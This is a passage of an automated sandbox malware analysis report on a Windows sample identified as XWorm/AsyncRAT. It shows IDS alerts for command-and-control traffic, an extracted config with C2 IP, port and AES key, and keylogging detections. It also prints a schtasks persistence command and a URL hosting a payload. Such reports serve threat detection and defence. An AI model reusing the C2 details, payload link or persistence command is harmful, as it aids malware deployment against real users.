2024-11-25T08:57:33.786962+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:46.405091+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:53.232690+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:06.931814+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:11.403104+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:11.690822+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:12.023345+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:24.464680+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:26.904844+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:27.276607+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:33.183692+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:36.747499+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:37.198005+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:47.168451+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:52.152210+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:54.494066+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:56.676874+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:58.353766+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:58.609837+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:01.464362+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:08.581856+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:08.838729+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:09.140205+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:11.635684+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:18.829686+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:20.107542+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:23.750177+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:24.199688+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:27.771330+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T08:55:53.369724+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:23.378688+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:53.395155+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:23.384551+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:53.406222+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:23.432884+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:53.438566+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:23.444705+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T08:57:33.167704+0100	2853193	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: windxcmd.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\svchost.exe

Avira: detection malicious, Label: TR/Spy.Gen

Found malware configuration

Source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["45.141.26.134"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "usb.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\svchost.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\wind.exe	ReversingLabs: Detection: 18%

Multi AV Scanner detection for submitted file

Source: windxcmd.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\wind.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\svchost.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: windxcmd.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: 45.141.26.134
Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: 7000
Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: <123456789>
Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: <Xwormmm>
Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: V5.7
Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: usb.exe
Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: %AppData%
Source: 1.0.svchost.exe.300000.0.unpack	String decryptor: svchost.exe

Source: windxcmd.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: windxcmd.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Source Code\Loaded GUI\Loaded GUI\obj\x64\Release\Loaded GUI.pdb source: wind.exe.0.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49734 -> 45.141.26.134:7000
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 45.141.26.134:7000 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:49734 -> 45.141.26.134:7000
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 45.141.26.134:7000 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49734 -> 45.141.26.134:7000

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Roaming\svchost.exe	Network Connect: 208.95.112.1 80			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Network Connect: 45.141.26.134 7000			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 45.141.26.134

Yara detected Generic Downloader

Source: Yara match	File source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.4:49734 -> 45.141.26.134:7000

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

ASN Name: SPECTRAIPSpectraIPBVNL SPECTRAIPSpectraIPBVNL

Source: unknown

DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: ip-api.com

Source: windxcmd.exe, 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, svchost.exe, 00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, svchost.exe.0.dr	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: svchost.exe, 00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: wind.exe, 00000002.00000002.4327918871.000001CDA9792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: wind.exe.0.dr	String found in binary or memory: https://discord.gg/arzenshop%click
Source: wind.exe.0.dr	String found in binary or memory: https://github.com/stark11231/spoof/raw/main/WindXTen.exeAC:

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: windxcmd.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Contains functionality to log keystrokes (.Net Source)

Source: svchost.exe.0.dr, XLogger.cs	.Net Code: KeyboardLayout
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Roaming\svchost.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

.NET source code contains very large strings

Source: wind.exe.0.dr, Form1.cs

Long String: Length: 181092

Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 1_2_00007FFD9B60C794	1_2_00007FFD9B60C794
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 1_2_00007FFD9B605776	1_2_00007FFD9B605776
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 1_2_00007FFD9B601631	1_2_00007FFD9B601631
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 1_2_00007FFD9B606522	1_2_00007FFD9B606522

Source: wind.exe.0.dr

Static PE information: No import functions for PE file found

Source: windxcmd.exe, 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesvchost.exe4 vs windxcmd.exe
Source: windxcmd.exe, 00000000.00000000.1834885594.0000000001264000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOutput.exe4 vs windxcmd.exe
Source: windxcmd.exe	Binary or memory string: OriginalFilenameOutput.exe4 vs windxcmd.exe

Source: windxcmd.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: svchost.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.windxcmd.exe.3563108.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: svchost.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: svchost.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/3@1/2

Source: C:\Users\user\Desktop\windxcmd.exe

File created: C:\Users\user\AppData\Roaming\svchost.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
Source: C:\Users\user\AppData\Roaming\wind.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\dSzDnC4txCD67cS4
Source: C:\Users\user\Desktop\windxcmd.exe	Mutant created: \Sessions\1\BaseNamedObjects\QGtTRkW66iSdF8Ey7

Source: windxcmd.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: windxcmd.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\windxcmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: windxcmd.exe

ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\windxcmd.exe "C:\Users\user\Desktop\windxcmd.exe"
Source: C:\Users\user\Desktop\windxcmd.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
Source: C:\Users\user\Desktop\windxcmd.exe	Process created: C:\Users\user\AppData\Roaming\wind.exe "C:\Users\user\AppData\Roaming\wind.exe"
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\windxcmd.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process created: C:\Users\user\AppData\Roaming\wind.exe "C:\Users\user\AppData\Roaming\wind.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Section loaded: wintypes.dll	Jump to behavior
